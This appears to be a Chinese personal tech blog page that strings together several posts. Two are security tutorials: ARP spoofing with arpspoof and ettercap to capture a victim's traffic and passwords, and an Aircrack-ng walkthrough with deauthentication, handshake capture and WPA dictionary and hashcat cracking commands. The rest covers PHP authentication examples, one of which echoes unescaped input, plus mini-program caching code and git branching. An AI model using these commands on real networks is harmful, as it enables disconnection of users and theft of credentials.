l1n6yun's Blog

记录学习的技能和遇到的问题

0%

ARP工具

arpspoof 是一款进行arp欺骗的工具,攻击者可以通过它来毒化受害者arp缓存,将网关mac替换为攻击者mac,然后攻击者可截获受害者发送和收到的数据包,可获取受害者账户、密码等相关敏感信息。ARP欺骗,是让目标主机的流量经过主机的网卡,再从网关出去,而网关也会把原本流入目标机的流量经过我得电脑。

1
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

ARP断网攻击

在实验之前我们首先要知道ARP断网攻击是局域网攻击,我们要保证目标主机必须和自己处于一个局域网内,且自己和目标主机网络应该是通的。

首先可以使用 nmap 扫描局域网中存活的地址,探测到的存活地址,就是我们的目标主机,然后使用 arpspoof 实施 ARP 欺骗。

upload successful

在使用arp欺骗前先开启Kali的IP转发

upload successful

链接目标机查看一下网络状态

upload successful

使用 ettercap 对数据进行抓取

upload successful

upload successful

  1. 在 Kali 的桌面按下 Ctrl+Alt+T 打开终端

  2. 使用 root 权限执行 sudo dpkg-reconfigure locales
    upload successful

  3. 选中 en_US.UTF-8 UTF-8zh_CN.UTF-8 UTF-8 (注意:按下空格键选中,选好后按下TAB键退出编码格式选项,跳到OK选项)
    upload successful

  4. 选择 zh_CN.UTF-8,选择OK
    upload successful

  5. 在终端键入reboot, 重启Kali
    upload successful

  6. 重启Kali后, 建议选择保留旧的名称
    upload successful

  7. 此时可以看到界面已经汉化完成了!
    upload successful

Example #1 Basic HTTP 认证范例

1
2
3
4
5
6
7
8
9
10
11
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
?>

Example #2 Digest HTTP 认证范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
$realm = 'Restricted area';

//user => password
$users = array('admin' => 'mypass', 'guest' => 'guest');


if (empty($_SERVER['PHP_AUTH_DIGEST'])) {
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Digest realm="'.$realm.
'",qop="auth",nonce="'.uniqid().'",opaque="'.md5($realm).'"');

die('Text to send if user hits Cancel button');
}


// analyze the PHP_AUTH_DIGEST variable
if (!($data = http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) ||
!isset($users[$data['username']]))
die('Wrong Credentials!');


// generate the valid response
$A1 = md5($data['username'] . ':' . $realm . ':' . $users[$data['username']]);
$A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']);
$valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2);

if ($data['response'] != $valid_response)
die('Wrong Credentials!');

// ok, valid username & password
echo 'You are logged in as: ' . $data['username'];


// function to parse the http auth header
function http_digest_parse($txt)
{
// protect against missing data
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
$data = array();
$keys = implode('|', array_keys($needed_parts));

preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

foreach ($matches as $m) {
$data[$m[1]] = $m[3] ? $m[3] : $m[4];
unset($needed_parts[$m[1]]);
}

return $needed_parts ? false : $data;
}
?>

Example #3 强迫重新输入用户名和密码的 HTTP 认证的范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function authenticate() {
header('WWW-Authenticate: Basic realm="Test Authentication System"');
header('HTTP/1.0 401 Unauthorized');
echo "You must enter a valid login ID and password to access this resource\n";
exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) ||
($_POST['SeenBefore'] == 1 && $_POST['OldAuth'] == $_SERVER['PHP_AUTH_USER'])) {
authenticate();
}
else {
echo "<p>Welcome: {$_SERVER['PHP_AUTH_USER']}<br />";
echo "Old: {$_REQUEST['OldAuth']}";
echo "<form action='{$_SERVER['PHP_SELF']}' METHOD='post'>\n";
echo "<input type='hidden' name='SeenBefore' value='1' />\n";
echo "<input type='hidden' name='OldAuth' value='{$_SERVER['PHP_AUTH_USER']}' />\n";
echo "<input type='submit' value='Re Authenticate' />\n";
echo "</form></p>\n";
}

Aircrack-ng是一个基于WiFi无线网络分析有关的安全软件,主要功能有网络侦测、数据包嗅探、WEP和WPA/WPA2-PSK破解等。
因为安全性的原因。现在,周围很少有用WEP算法来加密的WiFi密码,不过基本命令都很相似。

WiFi网络构成

  1. WiFi是一个建立于IEEE 802.11标准的无线局域网络(WLAN)设备。
  2. WiFi工作原理AP(Access Point 例如:无线路由器)每100ms将SSID(Service Set Identifier)经由beacons(信号台)封包广播一次。

查看网卡信息

1
iwconfig

upload successful

启动监听模式

1
airmon-ng start wlan0

upload successful

准备抓取握手包

1
airodump-ng -c 6 -bssid 64:6E:97:DA:39:5C -w thomas wlan0
  • -c:信道号
  • –bssid:apMAC
  • -w:保存的文件名

upload successful

扫描到的WiFi热点信息

  • BSSID:WiFi路由器的MAC地址
  • PWR:网卡报告信号水平,信号值越高说明离AP越近。(PWR=-1,网卡驱动不支持报告此项信息)
  • Beacons:无线AP发出的通告编号
  • #Data:被捕获到的数据分组的数量(一般数据量越大,抓取握手包更容易)
  • #/s:过去10秒钟内每秒捕获数据分组的数量
  • CH:信道号(从Beacon中获取)
  • MB:无线AP所支持的最大速率
  • ENC:加密算法体系
  • CIPHER:加密算法
  • AUTH:使用的认证协议
  • ESSID:wifi名称

使已连接WiFi的用户A强制下线,之后A会向WiFi路由重新发送一个带密码的请求握手包

1
aireplay-ng -0 2 -a 64:6E:97:DA:39:5C -c C2:46:34:ED:48:4C wlan0
  • -0:攻击数据包数量
  • -a:WiFi MAC 地址
  • -c:用户 MAC 地址

upload successful

出现 WAP handshake 表示已经获取到了握手包,下面就可以实现破解了

upload successful

开始爆破

1
aircrack-ng -w pass.txt thomas-01.cap
  • -w:字典文件路径

upload successful

hashcat

关于密码破解,可以使用kali自带的hashcat使效率大大增加

1
2
aircrack-ng [抓取到的握手包文件名] -J [转换后的文件名]
hashcat -m 2500 .hccap password.txt

参数: -m 2500为破解的模式为WPA/PSK方式 hccap格式的文件是刚刚转化好的文件 字典文件

注:最新版hashcat一般情况下不支持hccap格式,第一步需将握手包cap格式转换为hccapx

model层就不用多说了,主要是把数据处理部分独立出来,便于统一服务和维护,这里重点强调下model内部的实现细节,这里有一个实现技巧可以用在其它别的地方。下面直接上代码部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import cache from '../utils/cache.js'
import ajax from '../utils/ajax.js'

// 统一的接口地址,一般一个controller下面多个action是一致的
let url = "";

/**
* 格式化请求参数,根据不同的接口自行处理
* @params params 键值对对象,形如{}
* @return {*} 格式化后的参数
*/
let formatParams = function(params) {
return params;
}

/**
* 格式化返回结果,根据不同的接口自行处理
* @params data 对象 数组等任何合法的JS数据类型
* @return {*} 格式化后的数据
*/
let formatResult = function(data) {
return data;
}


module.exports = {

/**
* 读取可用游戏业务列表
* @params params 参数,本接口用不到
* @return {*} 返回 Promise 对象
*/
getList(params) {

// 如果接口地址不一致,这里重写
let url = "";

// 如果有特殊的参数处理逻辑,这里重写
let formatParams = function(params) {
return params;
}

// 如果有特殊的格式处理,这里重写
let formatResult = function(result) {
return result;
}

/**
* 如果需要自己先判断缓存或者别的处理,这里手动使用Promise封装一下即可
*/
return new Promise((resolve, reject) => {

var goods_list = cache.get("goods_list");

if (null == goods_list) {
resolve(goods_list)
} else {
ajax.get({
url: url,
data: formatParams(params),
login: false,
loading: true,
}).then((res) => {
var data = formatResult(res.data)
cache.set("goods_list", data, 86400)
resolve(data);
}).catch((error) => {
reject(error)
})
}
})
}
}
1
2
3
4
5
6
7
import goods from '../../models/goods.js'

goods.getList().then((res) => {
console.log("成功", res)
}, (error) => {
console.log("失败", error)
})
  1. 把参数处理和返回结果处理拆出来放到单独的处理方法里,方法名称保持统一: formatParamsformatResult
  2. 同时最外层定义好默认的 formatParamsformatResult ,如果不做特殊处理,直接使用默认即可(建议不处理也调用下默认方法,规范流程)
  3. 还有一点,model里方法命令有统一规范都是已 getaddupdatedel 开头

这个思路其实可以运用到任何场景,特别是在没有任何限定框架的场景,我们只需要按照这个模式去实现,代码一样很清晰漂亮。

其实,小程序自带了缓存接口,有同步 wx.setStorageSync ,异步 wx.setStorage 的方法,但是实际在使用缓存的场景里,我们一般都是需要设置缓存有效时间的,本cache工具就是对小程序缓存接口的封装,实现了对缓存有效期的支持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
module.exports = {
test: function() {
try {
wx.setStorageSync("JDC_TEST", "1");
wx.removeStorageSync("JDC_TEST");
return true;
} catch (e) {
wx.showModal({
title: "提示",
content: "小程序缓存出现问题,请稍后使用",
showCancel: !1,
success: function(e) {
if(e.confirm){
console.log("用户点击确定");
}
}
})
return false;
}
},
set: function(name, value, expire) {
if (typeof expire == "number") {
expire = expire * 1e3;
} else {
expire = 2592e5
}
wx.removeStorageSync(name);
var time = new Date().getTime();
try {
wx.setStorageSync(name, {
_value: value,
_time: time,
_age: time + expire
});
return true;
} catch (e) {
return false;
}
},
get: function(name) {
var data = this._isExpire(name);
if (data !== true) {
return data._value
} else {
return null
}
},
del: function(name) {
try {
wx.removeStorageSync(name);
return !0;
} catch (e) {
return !1;
}
},
_isExpire: function(name) {
var data = wx.getStorageSync(name);
var time = new Date().getTime();
if (data && time < data._age) {
return data;
} else {
return true;
}
},
}
1
2
3
4
5
import cache from '../utils/cache.js'

cache.set("key","value",7200);
cache.get("key");
cache.del("key");

实现了 promise 的封装,支持GET、POST、PUT 和DELELE这里设计的时候就确定为仅满足单项目通用即可,所以实现的时候融入了部分业务层面的逻辑:

  • 接口首次格式化,兼容标准的json和var形式接口(内部有大量var形式的接口)
  • 直判断返回值在逻辑上是成功还是失败
  • 针对返回未登录的情况,自动跳转登录流程

所以省去了业务调用侧的反复判断处理通用逻辑,使用更简洁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
var host = "http://www.baidu.com";

var showLoading = null;

module.exports = {
HOST: host,
API_ROOT: host + '/api/',
API_VERSION: '1.0.0',
get(options) {
options.method = 'GET';
return this.request(options);
},
post(options) {
options.method = 'POST';
return this.request(options);
},
delete(options) {
options.method = 'DELETE';
return this.request(options);
},
put(options) {
options.method = 'PUT';
return this.request(options);
},
request(options) {
var that = this
var apiRoot = this.API_ROOT;

var token = '';
try {
token = wx.getStorageSync('token')
} catch (e) {}

var requireLogin = true;
if (typeof options.login == 'undefined' || options.login == true) {
requireLogin = true;
} else {
requireLogin = false;
}

if (typeof options.loading != 'undefined' && options.loading == true) {
clearTimeout(showLoading)
showLoading = setTimeout(function() {
wx.showToast({
title: "加载中",
icon: "loading",
duration: 1e4
});
}, 500)
}

return new Promise((resolve, reject) => {
wx.request({
url: apiRoot + options.url,
data: options.data,
method: options.method ? options.method : 'POST',
header: {
'Cache-Control': 'no-cache',
'Content-Type': 'application/x-www-form-urlencoded',
'XX-Token': token,
'XX-Device-Type': 'wxapp',
'XX-Api-Version': that.API_VERSION
},
success: (res) => {
clearTimeout(showLoading)
wx.hideToast()
if (res.data.code == 10001 && requireLogin) {
// 执行登陆
let currentPages = getCurrentPages();
let currentRoute = currentPages.pop()['__route__'];
if (currentRoute != 'pages/login/login') {
wx.navigateTo({
url: '/pages/login/login'
});
}
} else {
resolve(res)
}
},
fail: (error) => {
clearTimeout(showLoading)
wx.hideToast()
reject(error)
}
})
})
}
}
1
2
3
4
5
6
7
8
9
10
11
import ajax from '../utils/ajax.js'

ajax.get({
url: url,
login: false,
loading: true,
}).then((res) => {
console.log(res)
}).catch((error) => {
console.log(error)
})

本文用于介绍 GIT分支模型的策略与发布。

img

在git分支模型中我们一般会用到如下四种分支:

  • 主分支
  • 特性分支
  • release分支
  • hotFix分支

分别使用4个种类的分支来进行开发的。

主分支

img

主分支有两种:master分支和develop分支

  • master
    master分支只负责管理发布的状态。在提交时使用标签记录发布版本号。
  • develop
    develop分支是针对发布的日常开发分支。刚才我们已经讲解过有合并分支的功用。

特性分支

特性分支就是我们在前面讲解过的topic分支的功用。

这个分支是针对新功能的开发,在bug修正的时候从develop分支分叉出来的。基本上不需要共享特性分支的操作,所以不需要远端控制。完成开发后,把分支合并回develop分支后发布。

img

release分支

release分支是为release做准备的。通常会在分支名称的最前面加上release-。release前需要在这个分支进行最后的调整,而且为了下一版release开发用develop分支的上游分支。

一般的开发是在develop分支上进行的,到了可以发布的状态时再创建release分支,为release做最后的bug修正。

到了可以release的状态时,把release分支合并到master分支,并且在合并提交里添加release版本号的标签。

要导入在release分支所作的修改,也要合并回develop分支。

hotFix分支

hotFix分支是在发布的产品需要紧急修正时,从master分支创建的分支。通常会在分支名称的最前面加上 hotfix-

例如,在develop分支上的开发还不完整时,需要紧急修改。这个时候在develop分支创建可以发布的版本要花许多的时间,所以最好选择从master分支直接创建分支进行修改,然后合并分支。

修改时创建的hotFix分支要合并回develop分支。

img

参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
/**
* Class Cache
*/
class Cache
{
/**
* @var string 缓存目录
*/
public static $cache_path = "";

/**
* 设置缓存
* @param string $name 缓存变量名
* @param mixed $value 存储数据
* @param int $expire 有效时间(秒)
* @return string
*/
public static function setCache($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = 0;
}
$file = self::_getCacheName($name);
$data = serialize($value);
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
file_put_contents($file, $data);
return $file;
}

/**
* 获取缓存
* @param string $name 缓存变量名
* @param mixed $default 默认值
* @return mixed
*/
public static function getCache($name,$default = false)
{
$file = self::_getCacheName($name);
if (file_exists($file) && ($content = file_get_contents($file))) {
$expire = (int)substr($content, 8, 12);
if ($expire === 0 || filemtime($file) + $expire >= time()) {
$content = unserialize(substr($content, 32));
return $content;
}
self::delCache($name);
}
return $default;
}

/**
* 清楚缓存
* @param $name
* @return bool
*/
public static function delCache($name)
{
$file = self::_getCacheName($name);
return file_exists($file) ? unlink($file) : true;
}

/**
* 应用缓存目录
* @param string $name
* @return string
*/
private static function _getCacheName($name)
{
if (empty(self::$cache_path)) {
self::$cache_path = dirname(dirname(__DIR__)) . DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR;
}
self::$cache_path = rtrim(self::$cache_path, '/\\') . DIRECTORY_SEPARATOR;
if (!file_exists(self::$cache_path)) {
mkdir(self::$cache_path, 0755, true);
}
return self::$cache_path . $name;
}
}

调用方法

1
2
3
4
5
6
7
8
9
10
11
// 设置目录
Cache::$cache_path = "./cache";

// 设置缓存
Cache::setCache('key', 'value','7200');

// 获取缓存
$result = Cache::getCache('key');
print_r($result);

Cache::delCache('aaa');